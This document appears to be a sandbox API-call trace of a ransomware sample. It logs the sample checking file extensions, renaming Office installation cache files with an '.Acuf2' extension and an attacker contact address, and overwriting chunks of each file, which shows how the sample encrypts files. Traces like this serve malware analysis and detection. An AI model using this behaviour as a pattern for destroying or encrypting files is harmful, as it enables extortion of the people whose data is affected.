	[0041.684] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString=".zip") returned 4
	[0041.684] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString=".rar") returned 4
	[0041.684] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString=".bz2") returned 4
	[0041.684] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0041.684] lstrlenW (lpString=".7z") returned 3
	[0041.684] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString=".dbf") returned 4
	[0041.684] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0041.684] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.684] lstrlenW (lpString=".1cd") returned 4
	[0041.684] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0041.685] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab") returned 74
	[0041.685] lstrlenW (lpString=".jpg") returned 4
	[0041.685] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0041.685] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0041.685] lstrlenW (lpString="WordLR.cab") returned 10
	[0041.685] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0041.685] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=43806141) returned 1
	[0041.685] CloseHandle (hObject=0x158) returned 1
	[0041.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab")) returned 0x2020
	[0041.685] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0041.685] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0041.686] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordlr.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158
	[0041.686] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0041.686] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.686] ReadFile (in: hFile=0x158, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.697] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.697] ReadFile (in: hFile=0x158, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.702] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0041.702] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0041.702] ReadFile (in: hFile=0x158, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0041.717] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0041.717] WriteFile (in: hFile=0x158, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc0100, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc0100, lpOverlapped=0x0) returned 1
	[0041.920] SetEndOfFile (hFile=0x158) returned 1
	[0041.920] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f037d0
	[0041.925] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0041.925] WriteFile (in: hFile=0x158, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.926] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0xdecf3f, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0041.926] WriteFile (in: hFile=0x158, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.929] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x2986dbd, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0041.929] WriteFile (in: hFile=0x158, lpBuffer=0x3f037d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f037d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0041.931] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f037d0 | out: hHeap=0x4f0000) returned 1
	[0041.931] CloseHandle (hObject=0x158) returned 1
	[0043.602] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0043.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.602] lstrlenW (lpString=".doc") returned 4
	[0043.602] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0043.602] lstrlenW (lpString=".docx") returned 5
	[0043.602] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0043.602] lstrlenW (lpString=".pdf") returned 4
	[0043.602] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0043.602] lstrlenW (lpString=".xls") returned 4
	[0043.602] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString=".xlsx") returned 5
	[0043.603] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0043.603] lstrlenW (lpString=".ppt") returned 4
	[0043.603] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString=".zip") returned 4
	[0043.603] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString=".rar") returned 4
	[0043.603] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString=".bz2") returned 4
	[0043.603] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0043.603] lstrlenW (lpString=".7z") returned 3
	[0043.603] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString=".dbf") returned 4
	[0043.603] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString=".1cd") returned 4
	[0043.603] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString=".jpg") returned 4
	[0043.603] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.603] lstrlenW (lpString=".doc") returned 4
	[0043.603] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0043.603] lstrlenW (lpString=".docx") returned 5
	[0043.603] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1
	[0043.603] lstrlenW (lpString=".pdf") returned 4
	[0043.604] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString=".xls") returned 4
	[0043.604] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString=".xlsx") returned 5
	[0043.604] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1
	[0043.604] lstrlenW (lpString=".ppt") returned 4
	[0043.604] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.604] lstrlenW (lpString=".zip") returned 4
	[0043.604] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString=".rar") returned 4
	[0043.604] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString=".bz2") returned 4
	[0043.604] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0043.604] lstrlenW (lpString=".7z") returned 3
	[0043.604] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0043.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.604] lstrlenW (lpString=".dbf") returned 4
	[0043.604] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0043.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.604] lstrlenW (lpString=".1cd") returned 4
	[0043.604] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0043.604] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordLR.cab") returned 73
	[0043.604] lstrlenW (lpString=".jpg") returned 4
	[0043.604] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0043.604] lstrcmpiW (lpString1=".cab", lpString2=".Acuf2") returned 1
	[0043.604] lstrlenW (lpString="Proof.cab") returned 9
	[0043.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0043.608] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=21064532) returned 1
	[0043.608] CloseHandle (hObject=0x1dc) returned 1
	[0043.608] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab")) returned 0x2020
	[0043.608] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0043.608] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0043.613] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.cab.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0043.613] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0043.613] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0043.613] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0043.621] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0043.621] ReadFile (in: hFile=0x1dc, lpBuffer=0x3db0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3db0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0043.624] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0xffffffff) returned 1
	[0043.624] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0043.624] ReadFile (in: hFile=0x1dc, lpBuffer=0x3df0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3df0058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
	[0043.645] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffec8 | out: lpNewFilePointer=0x0) returned 1
	[0043.645] WriteFile (in: hFile=0x1dc, lpBuffer=0x3d70020*, nNumberOfBytesToWrite=0xc00fe, lpNumberOfBytesWritten=0x38ffcb0, lpOverlapped=0x0 | out: lpBuffer=0x3d70020*, lpNumberOfBytesWritten=0x38ffcb0*=0xc00fe, lpOverlapped=0x0) returned 1
	[0043.658] SetEndOfFile (hFile=0x1dc) returned 1
	[0043.658] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3f137d0
	[0043.662] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0043.662] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.992] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x6b23c6, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0043.992] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.993] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc7c | out: lpNewFilePointer=0x0) returned 1
	[0043.993] WriteFile (in: hFile=0x1dc, lpBuffer=0x3f137d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x38ffc88, lpOverlapped=0x0 | out: lpBuffer=0x3f137d0*, lpNumberOfBytesWritten=0x38ffc88*=0x40000, lpOverlapped=0x0) returned 1
	[0043.994] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3f137d0 | out: hHeap=0x4f0000) returned 1
	[0043.994] CloseHandle (hObject=0x1dc) returned 1
	[0045.988] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x2020) returned 1
	[0045.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.988] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.988] lstrlenW (lpString=".doc") returned 4
	[0045.988] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0045.988] lstrlenW (lpString=".docx") returned 5
	[0045.988] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0045.988] lstrlenW (lpString=".pdf") returned 4
	[0045.988] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0045.988] lstrlenW (lpString=".xls") returned 4
	[0045.988] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0045.988] lstrlenW (lpString=".xlsx") returned 5
	[0045.988] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0045.988] lstrlenW (lpString=".ppt") returned 4
	[0045.988] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString=".zip") returned 4
	[0045.989] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString=".rar") returned 4
	[0045.989] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString=".bz2") returned 4
	[0045.989] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0045.989] lstrlenW (lpString=".7z") returned 3
	[0045.989] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString=".dbf") returned 4
	[0045.989] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString=".1cd") returned 4
	[0045.989] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString=".jpg") returned 4
	[0045.989] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.989] lstrlenW (lpString=".doc") returned 4
	[0045.989] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString=".docx") returned 5
	[0045.989] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1
	[0045.989] lstrlenW (lpString=".pdf") returned 4
	[0045.989] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString=".xls") returned 4
	[0045.989] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1
	[0045.989] lstrlenW (lpString=".xlsx") returned 5
	[0045.989] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1
	[0045.989] lstrlenW (lpString=".ppt") returned 4
	[0045.989] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1
	[0045.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.990] lstrlenW (lpString=".zip") returned 4
	[0045.990] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1
	[0045.990] lstrlenW (lpString=".rar") returned 4
	[0045.990] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1
	[0045.990] lstrlenW (lpString=".bz2") returned 4
	[0045.990] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1
	[0045.990] lstrlenW (lpString=".7z") returned 3
	[0045.990] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1
	[0045.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.990] lstrlenW (lpString=".dbf") returned 4
	[0045.990] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1
	[0045.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.990] lstrlenW (lpString=".1cd") returned 4
	[0045.990] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1
	[0045.990] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81
	[0045.990] lstrlenW (lpString=".jpg") returned 4
	[0045.990] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1
	[0045.990] lstrcmpiW (lpString1=".msi", lpString2=".Acuf2") returned 1
	[0045.990] lstrlenW (lpString="InfoPathMUI.msi") returned 15
	[0045.990] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0045.991] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x38fff1c | out: lpFileSize=0x38fff1c*=3124224) returned 1
	[0045.991] CloseHandle (hObject=0x1dc) returned 1
	[0045.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020
	[0045.991] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0045.991] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[panama777@tutanota].acuf2")) returned 1
	[0045.991] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc
	[0045.992] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc6c | out: lpNewFilePointer=0x0) returned 1
	[0045.992] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38ffc2c | out: lpNewFilePointer=0x0) returned 1
	[0045.992] ReadFile (in: hFile=0x1dc, lpBuffer=0x3d70058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x38ffc38, lpOverlapped=0x0 | out: lpBuffer=0x3d70058*, lpNumberOfBytesRead=0x38ffc38*=0x40000, lpOverlapped=0x0) returned 1
